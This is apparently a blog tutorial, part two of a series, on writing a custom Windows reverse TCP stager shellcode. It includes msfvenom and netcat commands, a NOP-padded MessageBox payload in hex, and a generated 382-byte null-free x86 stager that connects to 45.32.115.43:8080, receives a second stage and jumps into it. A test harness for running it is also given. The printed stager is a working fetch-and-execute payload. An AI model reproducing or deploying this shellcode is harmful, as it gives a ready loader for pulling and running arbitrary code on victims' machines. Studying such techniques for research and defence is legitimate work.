Developing a Custom Windows Reverse TCP Stager Shellcode — Part Two

Continuation of part one

In the first part of this article, I have explained the essential Winsock API functions that are required to implement a reverse stager TCP shellcode. This is a continuation of the article. We shall examine a more detailed implementation of the concepts established.

Windows Socket Programming

  • Initialize Winsock
  • Create a Socket
  • Connect to a remote IP address (on a particular port)
  • Receive second stage shellcode
  • Execute the second stage shellcode
Img. 2 — Execution flow.

Cstyle Implementation/PoC

Client-Side PoC code. Fetch and execute 2nd stage shellcode.

Compiling the PoC code…

cl net_client.c -o reverse_staged_shellcode.exe
Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27025.1 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
cl : Command line warning D9035 : option 'o' has been deprecated and will be removed in a future release
net_client.c
Microsoft (R) Incremental Linker Version 14.16.27025.1
Copyright (C) Microsoft Corporation. All rights reserved.
/out:net_client.exe
/out:reverse_staged_shellcode.exe
net_client.obj

Server Side — the second stage shellcode

Generating the MessageBox shellcode:

msfvenom -p windows/messagebox TEXT="Shellcoding is Awesome" TITLE="Zday Lab" -b '\x00\x0a\x0d' -f c

Pad the shellcode with some nops and save it as a binary file:

echo -e -n "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbb\x2d\x9b\xfd\xa1\xdb\xdb\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x46\x83\xc2\x04\x31\x5a\x0f\x03\x5a\x22\x79\x08\x78\xd7\xe6\x2a\x0f\x03\xed\xfc\x22\xf9\x7a\xce\x0b\x99\x0f\x41\xbc\xea\x66\xae\x37\x9a\x9a\x25\x01\x6a\x28\x47\xae\xe1\x18\x80\xe1\xed\x11\x03\xa4\x0c\x0b\x1c\xb6\x6e\x20\x8f\x1d\x4a\xbd\x15\x62\x19\x95\xbd\xe2\x1c\xfc\x35\x58\x06\x8b\x10\x7d\x37\x60\x47\x49\x7e\xfd\xbc\x39\x81\xef\x8c\xc2\xb0\x2f\x12\x90\x36\x6f\x9f\xee\xf7\xbf\x6d\xf0\x30\xd4\x9a\xc9\xc2\x0f\x4b\x5b\xdb\xdb\xd1\x87\x1a\x37\x83\x4c\x10\x8c\xc7\x09\x34\x13\x33\x26\x40\x98\xc2\xd1\xc1\xda\xe0\x3d\xb0\x21\x5a\x35\x1b\x72\x12\xa3\xd2\xb8\x4d\xa2\xaa\x32\x62\xe8\xda\xd4\x85\xf2\xe5\x62\x3c\x09\xa2\x0b\x67\xf3\xa7\x74\x8b\xd0\x15\x93\x3a\xe7\x66\x9c\xca\x5d\x90\x0b\xa1\x31\x80\x8a\x51\xf9\xf2\x22\xc6\x95\x87\x49\x63\x14\x57\x75\xe3\x84\xb3\x83\x7d\xd2\xed\x6c\x28\x1f\x98\x51\x83\xa4\x32\xf7\x69\x67\xc5\xe4\x55\xc5\x21\x4b\x69\x16\x4e\x1c\xcd\xc9\x90\xfd\x85\x29\x9c\x9c\x37\x42\x46\x3b\xd9\xeb\x47\x18\x91\x50\x83\x96\x2b\x8b\xa3\xcb\x4e\x14\x13\x7c\xe6\xc1\x20\x13\x60\x63\xb5\xcb\x31\x1b\x50\x62\xd5\xfb\xca\x16\x7a\x93\x6e\x8f\x2f\x03\x0b\x23\xe1\x1a\x5b\xf7\x25\x8b\xd2\xe9\x17\x61\xb6\xba\x06\xd7\xc9\xed\x98\x17\x65\xf1\x8e\x9f" > msg_box_shellcode.bin

Create a listening server that passes the shellcode when contacted:

nc -nlvp 8080 < msg_box_shellcode.bin 
Listening on [0.0.0.0] (family 0, port 8080)

Testing the PoC on Windows 10 version 1803 (build 17134.1069)

PoC works fine on Windows 10…

Developing a Similar PoC in x86 Assembly

  1. Using static function calls — using a tool like arwin.exe, we can resolve the functions’ addresses on our target machine and hard code them in the shellcode. If you are developing an exploit, and you can calculate the offsets of these needed functions in your target application, you can reuse existing sockets at crash time. Check these 2 examples — [1] https://nets.ec/Shellcode/Socket-reuse [2] https://rastating.github.io/using-socket-reuse-to-exploit-vulnserver/
  2. Dynamically resolve and load the function calls — this will need LoadLibrary and GetProcAddress to resolve the function calls.
    For a smaller shellcode, option 1 is the way to go. However, you should be aware of the restriction that comes with this technique; also, each Windows version might need fine-tuning the hardcoded memory addresses. Implementing a shellcode that can resolve the function calls at runtime can provide a more robust shellcode that is not tied to a specific Windows version.

Dynamically resolve and load the function calls
The following is a summary of the steps taken to develop an ASM (x86) reverse staged TCP shellcode:

Interestingly, while researching for a couple of x86 fixes, I stumbled upon my friend’s (Matt Suiche) related work, which he did in 2005! He was probably a teenager… Oh! Boy!

http://www.hick.org/code/skape/shellcode/win32/win32_reverse_std_handle.asm

update/correction:

Matt Miller referenced the implementation by Matt Suiche (https://www.exploit-db.com/exploits/13524). Suiche’s shellcode was also in the CIA leak by Wikileaks — Shellcode Database https://wikileaks.org/ciav7p1/cms/page_11628654.html

My x86 ASM implementation:

x86 implementation of the PoC

Testing the shellcode

Compile the assembly code using NASM and execute the binary:

nasm -f win32 reverse_staged_shellcode.asm -o reverse_shellcode.o
ld reverse_shellcode.o -o reverse_staged_shellcode.exe
compilation worked fine

Null Free Shellcode

python Shellcode_Gen_rev.py  45.32.115.43 8080[+] Shellcode Generated: 382 bytes\x55\x89\xe5\x83\xec\x1c\x31\xc0\x89\x45\xfc\x89\x45\xf8\x89\x45\xf4\x89\x45\xf0\x89\x45\xec\x89\x45\xe8\x89\x45\xe4\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x48\x14\x89\x4d\xfc\x8b\x48\x1c\x01\xd9\x89\x4d\xf8\x8b\x48\x20\x01\xd9\x89\x4d\xf4\x8b\x48\x24\x01\xd9\x89\x4d\xf0\x31\xc0\x50\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x89\x65\xec\x31\xc9\x8b\x75\xec\x8b\x7d\xf4\xfc\x8b\x3c\x87\x01\xdf\x6a\x08\x66\x59\xf3\xa6\x74\x06\x40\x3b\x45\xfc\xeb\xe6\x8b\x4d\xf0\x8b\x55\xf8\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xc9\x39\x4d\xe8\x74\x02\x77\x05\x89\x45\xe8\xeb\x05\x89\x45\xe4\xeb\x1d\x66\xb9\x73\x73\x51\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65\x74\x50\x89\x65\xec\x31\xc0\x31\xc9\xeb\xa7\x31\xf6\x8b\x75\xe4\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x54\x8b\x5d\xe8\xff\xd3\x89\xc5\x31\xc0\x66\xb8\x75\x70\x50\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x55\xff\xd6\x31\xdb\xbb\x21\x12\x19\x01\x81\xeb\x91\x10\x19\x01\x29\xdc\x54\x53\xff\xd0\x31\xc0\x66\xb8\x74\x41\x50\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x55\xff\xd6\x31\xdb\x53\x53\x53\x31\xd2\xb2\x06\x52\x43\x53\x43\x53\xff\xd0\x97\xbb\x65\x65\x63\x74\xc1\xeb\x08\x53\x68\x63\x6f\x6e\x6e\x54\x55\xff\xd6\x68\x2d\x20\x73\x2b\x66\x68\x1f\x90\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x57\xff\xd0\x31\xdb\x53\x68\x72\x65\x63\x76\x54\x55\xff\xd6\x55\x89\xe5\x31\xdb\x66\xbb\x11\x11\x66\x81\xeb\x11\x01\x29\xdc\x89\xe5\x31\xc9\x51\x53\x55\x57\xff\xd0\xff\xe5

Template for testing the shellcode:

#include<stdio.h>
#include<string.h>
unsigned char code[] = "";main(){
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;

PoC||GTFO

final PoC test.

~ciao

If I was a writer I’d have nice words to put here :) Purple Teamer.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store